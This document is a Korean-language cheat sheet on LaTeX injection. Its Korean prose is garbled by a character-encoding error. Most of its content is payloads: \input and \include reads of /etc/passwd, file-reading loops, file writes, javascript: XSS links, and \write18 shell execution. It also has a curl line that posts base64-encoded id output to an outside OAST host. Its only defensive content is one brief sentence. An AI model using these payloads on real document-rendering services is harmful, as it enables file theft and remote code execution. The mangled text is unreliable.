๐ Introduction
LaTex๋ TeX ๋ฌธ๋ฒ์ ์ฌ์ฉํ๋ typesetting system ์ผ๋ก ์ด๋ฅผ ์ฒ๋ฆฌํ๋ ์์คํ ์์ TeX ๋ฌธ๋ฒ์ ์ฃผ์ ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ก์ ์ ์ฒ๋ฆฌํ๋๋ก ์ ๋ํ๋ ๊ฒ์ผ๋ก LaTex Injection์ด๋ผ๊ณ ํฉ๋๋ค.
TeX๋ ์ํ์ ์์ ๋ฑ ํน์ํ ํํ๋ฅผ ๋๋ ๊ธ์๋ฅผ ์ฝ๊ฒ ์ ๋ ฅํ๊ณ ์ฌ์ฉํ๊ธฐ ์ํ ๋ฌธ๋ฒ์ผ๋ก ์ปดํจํฐ๋ก ๋ฌธ์ ์์ฑ์ ์ํด ๋ง์ด ์ฌ์ฉ๋๊ณ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ wikipedia์ TeX ๋ฌธ๋ฒ ํ์ด์ง๋ฅผ ๋ณด๋ฉด ๋๋ต ์ด๋ค ๋ด์ฉ์ธ์ง ์ดํด๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
Example
\frac{\pi}{2} = \int_{-1}^{1} \sqrt{1-x^2}\ dx
๐ก Offensive techniques
Detect
์ผ๋ฐ์ ์ผ๋ก ํ์ผ ๋ณํ ๊ด๋ จ ๊ธฐ๋ฅ์ ์กด์ฌํ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ๋ง์ฝ LaTex๋ฅผ ์ฒ๋ฆฌํ ์ ์๋ ๋ฐฑ์๋ ๋ก์ง์ด ์๊ฑฐ๋ ์์ฌ๊ฐ๋ ๊ฒฝ์ฐ LaTex ๋ฌธ๋ฒ ์์ฃผ๋ก Requset์ ํฌํจํ์ฌ ๋ฐ์์ ์ดํด์ผํฉ๋๋ค.
์ด ๋ LaTex Injection ์ค RCE ์ผ์ด์ค๋ OAST๋ฅผ ์ด์ฉํ๋ฉด ํ๋จํ ์ ์์ต๋๋ค.
\immediate/write18{curl http://<OAST> -X POST -d a=$(id|base64)}
Exploitation
Read file
\input
์ด๋ \include
๋ก ํ์ ์ฝ์ ์ ์์ต๋๋ค.
\input{/etc/passwd}
\include{/etc/passwd}
Read single lined file
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Read multiple lined file
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
usepackage
๋ก ๋ค๋ฅธ ํจํค์ง๋ฅผ ๋ก๋ํ๊ณ , ํด๋น ๊ธฐ๋ฅ์ ํตํด ์ฝ์ ์๋ ์์ต๋๋ค.
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Injection ๋ ๋ถ๋ถ์ด document header๋ฅผ ์ง๋ ๊ฒฝ์ฐ์๋ ์๋์ ๊ฐ์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
Write file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
XSS
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Command execution
\immediate\write18{ifconfig > output}
\input{output}
๐ก Defensive techniques
๊ฐ๊ธ์ ์ฌ์ฉ์ ์ ๋ ฅ์ด LaTex์ ์ํฅ์ ์ฃผ์ง ์๋๋ก ์๋น์ค๋ฅผ ๊ตฌ์ฑํด์ผํ๋ฉฐ, ์ฌ์ฉ์ ์ ๋ ฅ์ ์ฌ์ฉํด์ผํ๋ ๊ฒฝ์ฐ ํน์๋ฌธ์์ ๋ํ ๊ฒ์ฆ์ด ํ์ํฉ๋๋ค.
๐น Tools
- none
๐ References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
- https://tex.stackexchange.com/questions/262625/security-latex-injection-hack
- https://en.wikibooks.org/wiki/LaTeX
- https://en.wikipedia.org/wiki/Help:Displaying_a_formula#LaTeX_basics
- https://github.com/joeraut/latex2image-web